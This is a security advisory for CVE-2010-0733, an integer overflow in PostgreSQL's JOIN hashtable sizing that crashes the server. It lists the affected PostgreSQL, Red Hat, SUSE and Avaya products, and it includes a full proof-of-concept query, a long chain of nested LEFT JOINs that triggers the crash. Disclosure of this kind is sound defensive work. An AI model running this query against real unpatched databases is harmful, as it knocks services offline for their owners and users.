PostgreSQL JOIN Hashtable Size Integer Overflow Denial Of Service Vulnerability

Bugtraq ID:	38619
Class:	Boundary Condition Error
CVE:	CVE-2010-0733
Remote:	Yes
Local:	No
Published:	Oct 28 2009 12:00AM
Updated:	Oct 25 2011 07:22PM
Credit:	Bernt Marius Johnsen
Vulnerable:	SuSE SUSE Linux Enterprise 11 SuSE SUSE Linux Enterprise 10 SP3 S.u.S.E. openSUSE 11.2 S.u.S.E. openSUSE 11.1 S.u.S.E. openSUSE 11.0 RedHat Enterprise Linux WS 4 RedHat Enterprise Linux WS 3 RedHat Enterprise Linux ES 4 RedHat Enterprise Linux ES 3 RedHat Enterprise Linux Desktop Workstation 5 client RedHat Enterprise Linux Desktop version 4 RedHat Desktop 3.0 Red Hat Enterprise Linux Desktop 5 client Red Hat Enterprise Linux AS 4 Red Hat Enterprise Linux AS 3 Red Hat Enterprise Linux 5 Server PostgreSQL PostgreSQL 8.4.1 PostgreSQL PostgreSQL 8.3.9 PostgreSQL PostgreSQL 8.3.8 PostgreSQL PostgreSQL 8.3.6 PostgreSQL PostgreSQL 8.2.15 PostgreSQL PostgreSQL 8.2.14 PostgreSQL PostgreSQL 8.2.6 PostgreSQL PostgreSQL 8.2.4 PostgreSQL PostgreSQL 8.2.3 PostgreSQL PostgreSQL 8.2.2 PostgreSQL PostgreSQL 8.2 PostgreSQL PostgreSQL 8.1.19 PostgreSQL PostgreSQL 8.1.18 PostgreSQL PostgreSQL 8.1.11 PostgreSQL PostgreSQL 8.1.9 PostgreSQL PostgreSQL 8.1.8 PostgreSQL PostgreSQL 8.1.5 PostgreSQL PostgreSQL 8.1.4 PostgreSQL PostgreSQL 8.1.3 PostgreSQL PostgreSQL 8.1.1 PostgreSQL PostgreSQL 8.0.317 PostgreSQL PostgreSQL 8.0.23 PostgreSQL PostgreSQL 8.0.22 PostgreSQL PostgreSQL 8.0.15 PostgreSQL PostgreSQL 8.0.13 PostgreSQL PostgreSQL 8.0.9 PostgreSQL PostgreSQL 8.0.8 PostgreSQL PostgreSQL 8.0.7 PostgreSQL PostgreSQL 8.0.5 PostgreSQL PostgreSQL 8.0.4 PostgreSQL PostgreSQL 8.0.3 PostgreSQL PostgreSQL 8.0.2 + Trustix Secure Linux 2.2 PostgreSQL PostgreSQL 8.0.1 PostgreSQL PostgreSQL 8.0 + Trustix Secure Linux 2.2 PostgreSQL PostgreSQL 7.4.27 PostgreSQL PostgreSQL 7.4.26 PostgreSQL PostgreSQL 7.4.19 PostgreSQL PostgreSQL 7.4.17 PostgreSQL PostgreSQL 7.4.14 PostgreSQL PostgreSQL 7.4.13 PostgreSQL PostgreSQL 7.4.12 PostgreSQL PostgreSQL 7.4.11 PostgreSQL PostgreSQL 7.4.10 PostgreSQL PostgreSQL 7.4.9 PostgreSQL PostgreSQL 7.4.8 PostgreSQL PostgreSQL 7.4.7 PostgreSQL PostgreSQL 7.4.6 + Trustix Secure Linux 2.1 PostgreSQL PostgreSQL 7.4.5 PostgreSQL PostgreSQL 7.4.4 PostgreSQL PostgreSQL 7.4.3 PostgreSQL PostgreSQL 7.4.2 PostgreSQL PostgreSQL 7.4.1 PostgreSQL PostgreSQL 7.4 PostgreSQL PostgreSQL 8.4 PostgreSQL PostgreSQL 8.3 PostgreSQL PostgreSQL 8.1.7 PostgreSQL PostgreSQL 8.0.11 PostgreSQL PostgreSQL 7.4.16 PDGSoft Shopping Cart 8.1.2 PDGSoft Shopping Cart 8.1 PDGSoft Shopping Cart 8.0.6 Gentoo Linux Avaya Voice Portal 5.1 Avaya Voice Portal 5.0 SP2 Avaya Voice Portal 5.0 SP1 Avaya Voice Portal 5.0 Avaya Voice Portal 4.1 SP2 Avaya Voice Portal 4.1 SP1 Avaya Voice Portal 4.1 Avaya Voice Portal 4.0 Avaya Message Networking MN 3.1 Avaya Message Networking 5.2 Avaya Meeting Exchange 5.2 SP1 Avaya Meeting Exchange 5.2 Avaya Meeting Exchange 5.1 Avaya Meeting Exchange 5.0 Avaya Intuity AUDIX LX 2.0 SP2 Avaya Intuity AUDIX LX 2.0 SP1 Avaya Intuity AUDIX LX 2.0 Avaya Aura System Manager 6.0 SP1 Avaya Aura System Manager 5.2 Avaya Aura SIP Enablement Services 5.2.1 Avaya Aura SIP Enablement Services 3.1.1 Avaya Aura SIP Enablement Services 3.1 Avaya Aura SIP Enablement Services 5.2 Avaya Aura SIP Enablement Services 5.1 Avaya Aura SIP Enablement Services 5.0 Avaya Aura SIP Enablement Services 4.0 Avaya Aura SIP Enablement Services 3.1 Avaya Aura Session Manager 6.0 Avaya Aura Session Manager 5.2 Avaya Aura Session Manager 1.1 Avaya Aura Presence Services 6.0 Avaya Aura Communication Manager 5.2 Avaya Aura Communication Manager 5.1 + Avaya Communication Manager Server DEFINITY Server SI/CS + Avaya Communication Manager Server S8100 + Avaya Communication Manager Server S8300 + Avaya Communication Manager Server S8500 + Avaya Communication Manager Server S8700 Avaya Aura Application Enablement Services 5.2.1 Avaya Aura Application Enablement Services 5.2
Not Vulnerable:	PostgreSQL PostgreSQL 8.4.2

PostgreSQL JOIN Hashtable Size Integer Overflow Denial Of Service Vulnerability

PostgreSQL is prone to a remote denial-of-service vulnerability because it fails to properly validate user-supplied data before using it in memory-allocation calculations.

An attacker can exploit this issue to cause the affected application to crash. Due to the nature of this issue, remote code execution may be possible; this has not been confirmed.

PostgreSQL JOIN Hashtable Size Integer Overflow Denial Of Service Vulnerability

The following example query is available:

SELECT * from B AS alias0 LEFT JOIN BB AS alias1 LEFT JOIN B
AS alias2 LEFT JOIN A AS alias3 LEFT JOIN AA AS alias4 LEFT JOIN B
AS alias5 ON alias4.int_key = alias5.int_key ON alias3.int_key =
alias4.int_key LEFT JOIN AA AS alias6 LEFT JOIN A AS alias7 ON
alias6.int_key = alias7.int_key LEFT JOIN BB AS alias8 ON alias7.int_key
= alias8.int_key ON alias3.int_key = alias8.int_key LEFT JOIN AA AS
alias9 ON alias6.int_key = alias9.int_key ON alias2.int_key =
alias8.int_key LEFT JOIN BB AS alias10 LEFT JOIN AA AS alias11 LEFT
JOIN B AS alias12 ON alias11.int_key = alias12.int_key ON alias10.int_key
= alias11.int_key ON alias9.int_key = alias10.int_key ON alias1.int_key =
alias8.int_key LEFT JOIN BB AS alias13 LEFT JOIN A AS alias14
LEFT JOIN AA AS alias15 LEFT JOIN A AS alias16 ON alias15.int_key =
alias16.int_key LEFT JOIN B AS alias17 ON alias15.int_key =
alias17.int_key ON alias14.int_key = alias16.int_key LEFT JOIN AA AS
alias18 ON alias14.int_key = alias18.int_key LEFT JOIN B AS alias19 ON
alias15.int_key = alias19.int_key LEFT JOIN AA AS alias20 ON
alias16.int_key = alias20.int_key ON alias13.int_key = alias19.int_key
LEFT JOIN A AS alias21 ON alias13.int_key = alias21.int_key ON
alias3.int_key = alias17.int_key LEFT JOIN B AS alias22 ON alias7.int_key
= alias22.int_key LEFT JOIN A AS alias23 ON alias20.int_key =
alias23.int_key LEFT JOIN A AS alias24 ON alias14.int_key =
alias24.int_key LEFT JOIN BB AS alias25 LEFT JOIN BB AS alias26 ON
alias25.int_key = alias26.int_key LEFT JOIN A AS alias27 LEFT JOIN
A AS alias28 ON alias27.int_key = alias28.int_key LEFT JOIN B AS alias29
LEFT JOIN BB AS alias30 LEFT JOIN B AS alias31 LEFT JOIN A AS
alias32 LEFT JOIN B AS alias33 ON alias32.int_key = alias33.int_key LEFT
JOIN A AS alias34 ON alias32.int_key = alias34.int_key ON alias31.int_key
= alias33.int_key ON alias30.int_key = alias33.int_key ON alias29.int_key
= alias34.int_key ON alias27.int_key = alias34.int_key LEFT JOIN AA AS
alias35 LEFT JOIN A AS alias36 ON alias35.int_key = alias36.int_key ON
alias34.int_key = alias36.int_key LEFT JOIN A AS alias37 ON
alias33.int_key = alias37.int_key ON alias25.int_key = alias32.int_key
LEFT JOIN A AS alias38 ON alias37.int_key = alias38.int_key ON
alias15.int_key = alias37.int_key ON alias0.int_key = alias9.int_key

PostgreSQL JOIN Hashtable Size Integer Overflow Denial Of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.

PostgreSQL JOIN Hashtable Size Integer Overflow Denial Of Service Vulnerability

References:

• BUG #5145: Complex query with lots of LEFT JOIN causes segfault ("Bernt Marius Johnsen" )
  
• Bug 546621 - postgresql: Integer overflow in hash table size calculation (Jan Lieskovsky )
  
• Make the overflow guards in ExecChooseHashTableSize be more protective. (Tom Lane)
  
• PostgreSQL Homepage (PostgreSQL)
  
• ASA-2010-145 (Avaya)
  
• ASA-2010-168 postgresql security update (RHSA-2010-0429) (Avaya)